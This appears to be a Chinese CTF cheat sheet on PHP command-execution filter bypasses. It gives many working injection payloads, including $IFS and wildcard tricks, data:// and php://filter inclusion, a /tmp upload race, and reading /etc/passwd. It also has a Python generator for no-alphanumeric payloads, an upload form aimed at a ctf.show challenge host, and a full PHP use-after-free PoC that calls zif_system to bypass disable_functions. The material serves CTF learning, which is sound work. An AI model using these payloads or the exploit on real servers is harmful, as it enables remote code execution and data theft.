命令执行


命令执行

首先看过滤了什么东西,再按照下面的方法一点一点绕过。
再利用没过滤的字符构造playload
很多是可以泛用的,如果能找到一个很好用的也不错。

前置知识

<?=`ls /`;?>等效于<?php echo `ls /`; ?>

?cmd=?><?=`ls \`;闭合第一个php,然后构造第二个短标签形式的php

php文件上传时,一般是将文件上传到临时目录,然后再将临时目录移到其它地方

PHP的一些标签有
<?...?>
<%...%>
<?php ...?>
<script language="php">...</script>

各种绕过手法

【过滤变量名】
重构变量
?c=system($_GET['a']);&a=cat flag.php;
匹配符绕过
?c=echo `cat fl''ag.php`;
?c=echo `cat fl/ag.txt`;
?c=echo `cat fl*`;
php里反引号相当于system执行系统命令
两个引号分割是shell特性,执行时会自动忽略
还有一点,过滤php时可以用Php大写绕过(乐~)


【过滤system】
system()
assert()
passthru()
exec()           //只执行无回显
shell_exec()     // 只执行无回显
popen()          // 不会直接返回执行结果,而是返回一个文件指针popen( 'whoami >> c:/1.txt', 'r' );
proc_open()      //不会直接返回执行结果,而是返回一个文件指针
pcntl_exec()
call_user_func()
还可以写马,也可以tac /fl\ag |tee 1.txt 将返回的内容写入1.txt


【过滤cat】
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261  //报错出文件内容
strings:可以查看
rev:反过来看
新增一个xxd可以读取文件
curl file:///flag 也行
bash -v:/etc/passwd
date -f:好像可以越权读取文件
/bin/cat:/bin/是cat的目录,意思是执行/bin/cat文件,再用?cat代替cat


【过滤空格】
<
<>
%09
%20
$IFS
${IFS}
$IFS$9
$IFS$1
顺便提一句,%09表示的是制表符,是shell里的空格,而不是php的空格
因为浏览器会自动对特殊字符进行编码
所以使用%09表示制表符也是可以被浏览器正确识别的


【过滤;】
使用?>替换,因为最后一句不用分号
include,也就是说应该传入一个文件名
include的文件中出错了但是主程序会继续往下执行


【过滤括号】
使用不用括号的函数(伪协议)
?c=php://filter/read=convert.base64-encode/resource=flag.php
伪协议也可以重构变量
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[x]?>&x=php://filter/convert.base64-encode/resource=flag.txt


【PHP伪协议】
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流


【文件按包含漏洞】
使用data://协议执行PHP代码
?c=data://text/plain,<?php system("cat fla*");?>     显示文件源码
?c=data://text/plain,<?=system('tac fl""ag.php');?>      查看日志
此处让网页直接包含我们写入的代码,从而执行恶意命令
但是仍然要绕过对flag的过滤


【常用套娃函数】
session_id():用来获取/设置当前会话 ID,可以获取phpsessionid,并且值是可控的
getallheaders():返回所有的HTTP头信息
get_defined_vars() 返回一个包含所有已定义变量列表的多维数组
array_pop() 是删除并返回数组最后一个元素
current() 返回数组中的当前元素的值。别名是pos()
next() 返回数组中的下一个元素的值。
end()最后一个
prev() 将数组中的内部指针倒回一位
each() 返回数组中当前的键/值对并将数组指针向前移动一步
scandir() 函数返回指定目录中的文件和目录的数组。
print_r() 函数用于打印变量,以更容易理解的形式展示。
localeconv()函数会返回一一个包含本地数字及货币格式信息的数组(其实就是.)
current() 函数返回数组中的当前元素的值。别名是pos()
array_reverse() 函数将原数组中的元素顺序翻转,创建新的数组并返回。
read_file()  读出源码
highlight_file()  读出源码
show_source()  读出源码
include()  读出源码
file_get_contents()  读出源码
还能先include("文件")再echo $变量;
还能先require("文件")再echo $变量;
还能先include("文件");再var_dump(get_defined_vars());


【套娃例子】
要使用POST传参时:
?c=eval(array_pop(next(get_defined_vars())));
cmd=system(“cat flag.php”);
不使用POST传参时:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
在COOKIE处传马时:
/?c=show_source(session_id(session_start()));
再把PHPSSID值设为flag.php
只使用POST传参时:
c=print_r(scandir('.'));


【重定向绕过】
0   标准输入
1   标准输出
2   错误输出
/dev/null(空设备)丢弃一切写入其中的数据(但报告写入操作成功)
区别:
   2>/dev/null   把错误输出到空设备(即丢弃)
   2>&1 >/dev/null   错误输出到屏幕上,而标准输出被丢弃
   >/dev/null 2>&1   相当于1>/dev/null 2>&1错误和标准输出都输出到空设备
重定向>和>>:
   前者会先清空文件再写入内容,后者会将重定向的内容追加到现有文件的尾部
使用;  &&  %0a  ||等等绕过即可
因为过滤代码只将最后一个命令输出到null,使用;或运算符分隔就行
但是要注意所用的PHP版本会影响效果,多试试。


【无字母数字的命令执行】
/bin/base64以base64加密输出文件
所以payload: /?c=/???/????64 ????.???
或者
/usr/bin/bzip2将文件压缩为文件名.bz2然后访问
payload: /?c=/???/???/????2 ????.???


【文件上传形式的命令执行】
原理是通过POST上传一个文件,文件内容是要执行的命令
使用点命令执行该文件时形成条件竞争
这个文件默认保存在/tmp/phpxxxx路径下,所以可以通过/???/????????[@-[]来构成这个路径
[@-[]为匹配ascii码范围在@-[的字符(A,Z被屏蔽,所以范围大一位)
之所以用[@-[]是因为直接用/???/?????????匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母。
就算这样,也不一定能够准确地匹配到我们的上传文件,所以可能要多次刷新。
POST的参数为
?c=.%20/???/????????[@-[]
上传下面的内容可以达到命令执行的效果
#!  /bin/bash
ls


【数学整数计算】
$(())表示运算符计算,且默认相加,~是取反的意思
$(())能进行的运算有 + - * / % & | ^ ! AND OR XOR NOT
    $(()) = 0
    ~$(()) = -0
    $((~$(()))) = -1
    $((~$(()))) = -1
    ~$((~$(()))) = 1
    echo $((a+b*c)) = 19
    $(($((~ $(()))) $((~ $(()))) $((~ $(()))))) = -3


【命令执行后继续对回显操作】
(1)使用exit();直接退出。
(2)使用POST方法查找目录(post参数可以直接被执行的时候)
c=$a="glob:// /*.txt";
  if ($b = opendir($a)) {
    while(($file = readdir($b))) !== false) {
      echo"filename:".$file."\n";
    }
    closedir($b);
  }
exit(0);
(3)在POST传参获取mysql数据
c=try {$dbh = new PDO('mysql:host=localhost;dbname=数据库名', '账号','密码');foreach($dbh->query('select load_file("文件名")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
(4)用POST方法重定向文件内容输出到其他地方
c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/要读的文件>存到那个文件");exit();

【使用bash内置变量构造RCE】
因为一般题目都在/var/www/html下
经过多次尝试,最后能构造出nl
在加上通配符?匹配文件
${HOME:~0}
${PATH:~0}
${PWD:~A}
${USER:~A}
上面提到的一些小脚本或快捷命令

下面是通过或运算构造字符(无字母数字命令执行)
通过一些字符互相运算后构造得到我们的payload
当异或自增和取反构造字符都无法使用,但是可以用|
要求使用POST方式传参,且传入的参数可以直接执行时
但是注意尽量使用Python发包,hackbar和BP有时候不是很好用。

import re
import urllib
import requests
from urllib import parse

 hex_i = ""
 hex_j = ""
 pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'# str1=["system","cat flag.php"]# for p in range(2):
     t1 = ""
     t2 = ""
     for k in str1[p]:
         for i in range(256):
             for j in range(256):
                 if re.search(pattern,chr(i)) :
                     break
                 if re.search(pattern,chr(j)) :
                     continue
                 if i < 16:
                     hex_i = "0" + hex(i)[2:]
                 else:
                     hex_i=hex(i)[2:]
                 if j < 16:
                     hex_j="0"+hex(j)[2:]
                 else:
                     hex_j=hex(j)[2:]
                 hex_i='%'+hex_i
                 hex_j='%'+hex_j
                 c=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))
                 if(c ==k):
                     t1=t1+hex_i
                     t2=t2+hex_j
                     break
             else:
                 continue
             break
     payload = "(\""+t1+"\"|\""+t2+"\")"
     print(payload)

payload='("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")'
print(payload)
data={
    "c":urllib.parse.unquote(payload)
}
url="??????"
re=requests.post(url,data=data)
print(re.text)

下面是文件上传的页面

<!DOCTYPE html>
<html>
<body>
<form action="http://40ebaa4e-8bb9-4a0d-ba18-623eea11822d.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

利用PHP垃圾回收漏洞显示出文件内容POC,记得编码

<?php
function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { 
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 
    ($helper->b)($cmd);
    exit();
}

ctfshow("指令填写在这里!!!");ob_end_flush();
?>

读取文件函数一览表

highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

读取目录一览表

print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value."   ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

评论
  目录